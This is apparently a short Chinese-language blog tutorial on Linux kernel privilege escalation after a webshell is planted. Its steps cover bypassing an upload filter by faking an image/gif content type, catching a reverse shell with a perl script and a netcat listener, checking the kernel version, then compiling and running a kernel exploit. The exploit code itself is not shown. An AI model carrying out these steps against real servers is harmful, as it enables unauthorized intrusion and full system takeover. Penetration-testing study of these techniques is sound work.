linux核心漏洞提權
阿新 • • 發佈:2022-01-02
應用場景
通常我們在擁有一個webshell的時候,一般許可權都是WEB容器許可權,如在iis就是iis使用者組許可權,在apache 就是apache許可權,一般都是許可權較低,均可執行一些普通命令,如檢視當前使用者,網路資訊,ip資訊等。如果我想進行內網滲透就必須將許可權提權到最高,如系統許可權 超級管理員許可權。
建立互動shell
linux 提權 需要互動shell
可以使用工具 perl-reverse-shell.pl 建立 sockets
增加執行許可權
chmod +x perl-reverse-shell.pl
本地使用nc 監聽埠
nc -vvlp 1234
實際操作
上傳webshell
抓包,修改資料包檔案型別為image/gif,上傳
上傳成功
訪問且菜刀連線
檢視當前使用者
nc監聽本地1234埠:nc -vvlp 1234
菜刀上傳powershell指令碼
給予執行許可權
執行ps指令碼監聽成功
檢視發行版
cat /etc/issue
cat /etc/*release
檢視核心版本
uname -a
查詢可用的提權exp
找到可用exp,上傳exp到伺服器
cd 到上傳檔案目錄
編譯
增加執行許可權
chmod +x exp
提權./exp
結果